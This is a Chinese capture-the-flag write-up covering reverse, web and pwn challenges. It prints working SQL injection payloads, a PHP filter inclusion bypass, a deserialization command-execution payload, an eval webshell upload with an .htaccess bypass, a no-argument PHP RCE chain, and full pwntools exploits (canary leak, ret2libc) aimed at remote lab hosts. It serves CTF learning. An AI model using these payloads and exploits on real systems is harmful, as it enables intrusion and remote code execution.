v16 = __readfsqword(0x28u);
s2[0] = 0x3513AB8AB2D7E6EELL;
s2[1] = 0x2EEDBA9CB9C97B02LL;
s2[2] = 0x16E4F8C8EEFA4FBDLL;
s2[3] = 0x383014F4983B6382LL;
s2[4] = 0xEA32360C3D843607LL;
s2[5] = 42581LL;
v8 = 0;
puts("Can You Find the Secret?");
puts("Give me your flag");
*(_QWORD *)s = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0;
__isoc99_scanf("%s", s);
if ( strlen(s) != 42 )
exit(0);
for ( i = 0; i < strlen(s); ++i )
{
v3 = s[i];
v4 = rand();
s[i] = Table[(16 * ((unsigned __int8)(v3 + v4 % 255) >> 4) + 15) & (unsigned __int8)(v3 + v4 % 255)];
}
if ( !memcmp(s, s2, 0x2AuLL) )
puts("You get the Right Flag!!");
else
puts("Maybe your flag is Wrong o.O?");
return 0;
}

发现在调用主函数前还设置了随机数种子0x5377654E

使用以下python脚本获取数组Table的元素

1
2
3
4
5
6
7
from idaapi import *
bytes_addr = 0x4020
a=[]
for i in range(256):
data = get_bytes(bytes_addr+i,1)
a.append(ord(data))
print(a)

编写如下解题脚本,由于此处是小端存储,所有取s2的元素时需要倒着取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from ctypes import *

s2='3513AB8AB2D7E6EE2EEDBA9CB9C97B0216E4F8C8EEFA4FBD383014F4983B6382EA32360C3D843607A655'
Table = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]
flag = ''
libc =cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = libc.srand(0x5377654E)
for i in range(40):
v4 = libc.rand()
for m in range(256):
temp = m+v4%255
if(temp>255):
temp -= 256
s = Table[(16*(temp>>4)+15)&temp]
if s == int(s2[(16*(i//8))+14-(i%8)*2:(16*(i//8))+14-(i%8)*2+2],16):
flag+=chr(m)
break
for i in range(2):
v4 = libc.rand()
for m in range(256):
temp = m + v4 % 255
if (temp > 255):
temp -= 256
s = Table[(16 * (temp >> 4) + 15) & temp]
if s == int(s2[82-i*2:82-i*2+2], 16):
flag += chr(m)
break
print(flag)

得到flag

easy_enc

打开可执行文件测试一下,得到主函数输出的字符

在IDA里搜索文本,找到主函数

反编译源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
__int64 sub_140016070()
{
char *v0; // rdi
__int64 i; // rcx
char v3[32]; // [rsp+0h] [rbp-20h] BYREF
char v4; // [rsp+20h] [rbp+0h] BYREF
__int64 v5[9]; // [rsp+28h] [rbp+8h]
char Str[132]; // [rsp+70h] [rbp+50h] BYREF
int j; // [rsp+F4h] [rbp+D4h]
char Buf1[5]; // [rsp+120h] [rbp+100h] BYREF
char v9[127]; // [rsp+125h] [rbp+105h] BYREF
int v10; // [rsp+1A4h] [rbp+184h]

v0 = &v4;
for ( i = 106i64; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
sub_14001135C(&unk_140021018);
v5[0] = (__int64)sub_1400113C5;
v5[1] = (__int64)sub_1400113CA;
v5[2] = (__int64)sub_1400113F2;
v5[3] = (__int64)sub_1400113ED;
memset(Str, 0, 0x64ui64);
sub_14001118B("Input Your flag(format:A-Z a-z): ");
sub_1400113FC(&unk_140019C18, Str);
dword_14001C17C = j_strlen(Str);
for ( j = 0; j < 4; ++j )
((void (__fastcall *)(char *))v5[j])(Str);
Buf1[0] = -24;
Buf1[1] = 0x80;
Buf1[2] = -124;
Buf1[3] = 8;
Buf1[4] = 24;
strcpy(v9, "<xh");
v9[4] = 112;
v9[5] = 124;
v9[6] = -108;
v9[7] = -56;
v9[8] = -32;
v9[9] = 16;
v9[10] = -20;
v9[11] = -76;
v9[12] = -84;
v9[13] = 104;
v9[14] = -88;
v9[15] = 12;
v9[16] = 28;
v9[17] = -112;
v9[18] = -52;
v9[19] = 84;
v9[20] = 60;
v9[21] = 20;
v9[22] = -36;
v9[23] = 48;
memset(&v9[24], 0, 0x47ui64);
v10 = 1;
if ( !j_memcmp(Buf1, Str, dword_14001C17C) )
sub_14001118B("Right!! flag is flag{your input}\n");
else
sub_14001118B("Wrong!!\n");
sub_1400112F3(v3, &unk_14001AA10);
return 0i64;
}

对输入的str进行了4次加密

使用正向爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Buf1 = [0xE8,0x80,0X84,8,0X18,0X3C,0X78,0X68,0,0X70,0X7C,0X94,0XC8,0XE0,0X10,0XEC,0XB4,0XAC,0X68,0XA8,0X0C,0X1C,0X90,0XCC,0X54,0X3C,0X14,0XDC,0X30]
flag = ''
str = "NewStarCTF"
for i in range(len(Buf1)):
for j in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz':
c = ord(j)
if c>=97 and c<=0x7A:
c = (c-89)%26+97
elif c>=48 and c<=57:
c = (c-45)%10 +48
elif c >= 65 and c <= 90:
c = (c - 52)%26 + 65
c += ord(str[i%10])
c = ~c +256
c = (c*52)%256
if(c == Buf1[i]):
flag+=j
print(flag)

Web

游戏高手

JS代码中找到游戏目标

在本地覆盖js代码,胜利目标改为100,传给后端的分数也改为1000000

image-20231002015315171

得到flagflag{c82f9d84-d2a4-43c1-93bb-39a81cae9c91}

ez_sql

测试TMP11503' and 1=1 -- qwe发现有回显,说明存在注入点

TMP11503' and 1=1 -- qwe,显示NO

TMP11503' AND 1=1 -- qwe,显示正常

说明对大小写敏感

判断字段数,直到TMP11503' ORDER BY 6 -- qwe才无回显,说明一共5个字段

页面正好显示5个数据,说明都是数据显示位

开始爆表

-1' UNION SELECT 1,2,3,4,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 1,1 -- QWE

存在一个here_is_flag

剩下工作交给sqlmap了

include 0。0

源码如下

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope

过滤了base和rot字符串,即无法使用base64和rot13的编码方式

那就用UCS-2方式

payload为?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

使用burp抓包得到flag的编码

本地编写脚本解码

Unserialize?

反序列化的题目

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;

public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}

@unserialize($_POST['unser']);
?>

这里的后门在析构函数

如果构造的序列化字符串成功反序列化成一个evil类的对象,那么在析构函数中的代码将会被执行

先传个ls命令试试:O:4:"evil":1:{s:3:"cmd";s:2:"ls";}

成功执行

题目过滤了cat、tac、more、tail和base

如果flag文件没有干扰内容,那么看前几行足矣,这里使用head命令

先查看根目录O:4:"evil":1:{s:3:"cmd";s:4:"ls /";},找到flag文件th1s_1s_fffflllll4444aaaggggg

执行O:4:"evil":1:{s:3:"cmd";s:35:"head /th1s_1s_fffflllll4444aaaggggg";}

得到flag

Upload again!

上传一个md为后缀,内容为<? eval($_POST['hack']) ?>

发现会被拦截

image-20231002102443792

猜测是对内容有过滤

尝试只传<? ?>,依旧不行

抓包发现php版本为5.6.40,考虑用html标签<script language="php">

同时由于对文件格式有过滤,使用.htaccess绕过

成功上传后,用蚁剑连接

根目录下找到flag

R!!C!!E!!

页面中提到泄漏信息

脚本跑一遍备份文件泄漏测试,没有发现泄漏文件

考虑.git泄漏,使用githacker爬一遍

COMMIT_EDITMSG中找到提交修改记录

成功访问源码

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}

前一个正则表达式说明star传的参只能是形如xx(xxx());

典型的无参RCE

此时linux指令基本都失效了,只能考虑通过PHP代码来寻找flag

同时查看目录的readdir和scandir都被过滤了

查看环境变量的get_defined_vars也被禁用

考虑用getallheaders代替

发现User-Agent在数组的第二个,将值替换为我们想要执行的linux命令

此时使用next()函数就能取到数组第二个

我们将print_r替换成system便能执行在User-Agent处的命令

执行cd /;cat flag,得到flag

Pwn

canary

checksec一下

开了Canary

backdoor在0x401266

canary与rbp相差8

buf与rbp相差0x30

则buf与canary相差40

但由于第一次读的时候只读20个字节,想带出Canary行不通

考虑用格式化字符串

canary位于第$(40/8+6)=11$个字节

编写如下exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.log_level = 'debug'
conn = remote('node4.buuoj.cn',27555)

get_shell = 0x00401262

conn.recvuntil(b"Give me some gift?\n")

# leak Canary
payload = b"%11$p"
conn.sendline(payload)
conn.recvuntil(b"Oh thanks,There is my gift:\n")
Canary = int(conn.recvuntil(b'\n')[:-1],16)

# Bypass Canary
conn.recvuntil(b"magic\n")
payload = b"a"*40+p64(Canary)+b"a"*8+p64(get_shell)
conn.send(payload)

conn.interactive()

成功getshell

secret number

和上周的题目相同的解法

使用python的ctypes库在本地模拟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import random
from ctypes import *
from pwn import *
context.log_level = 'debug'

conn = remote('node4.buuoj.cn',27679)
libc =cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = libc.srand(libc.time(0))
conn.recvuntil(b'Give me some gift?(0/1)\n')
conn.sendline(b'0')
conn.recvuntil(b'Guess the number\n')
conn.sendline(str(libc.rand()).encode())
conn.sendline(b'cat flag')
conn.interactive()

得到flag

ret2libc

checksec一下,没有开PIE和 canary保护

IDA观察反编译源码,没有发现system和bin/bash

先测一下栈的大小,为40

首先泄露一次got表中puts的地址

要注意这里在read函数之后还有一个puts输出,而栈溢出覆盖的是整个main函数的返回地址,需要等整个函数执行完

所以读取地址时要在接收到'time\n'之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from LibcSearcher import *
e=ELF('ret2libc')
puts_plt=e.plt['puts']
puts_got=e.got['puts']
main_addr = e.symbols["main"]
print(main_addr)
context.log_level = 'debug'
rdi_addr=0x400763

offset = 40
payload1=b'A'*offset+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p=remote('node4.buuoj.cn',26857)
p.sendlineafter(b"again\n",payload1)
p.recvuntil('time\n')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))

接下来利用LibcSearcher库来搜寻libc版本,并通过偏移量将puts函数的地址覆盖为system和binsh的地址

1
2
3
4
5
6
7
8
libc=LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
payload2 = b'a'*40 + p64(rdi_addr) + p64(binsh) + p64(rdi_addr+1) + p64(system) + p64(main_addr)
p.recvuntil('again\n')
p.send(payload2)
p.interactive()

成功getshell

image-20231008123523832

buu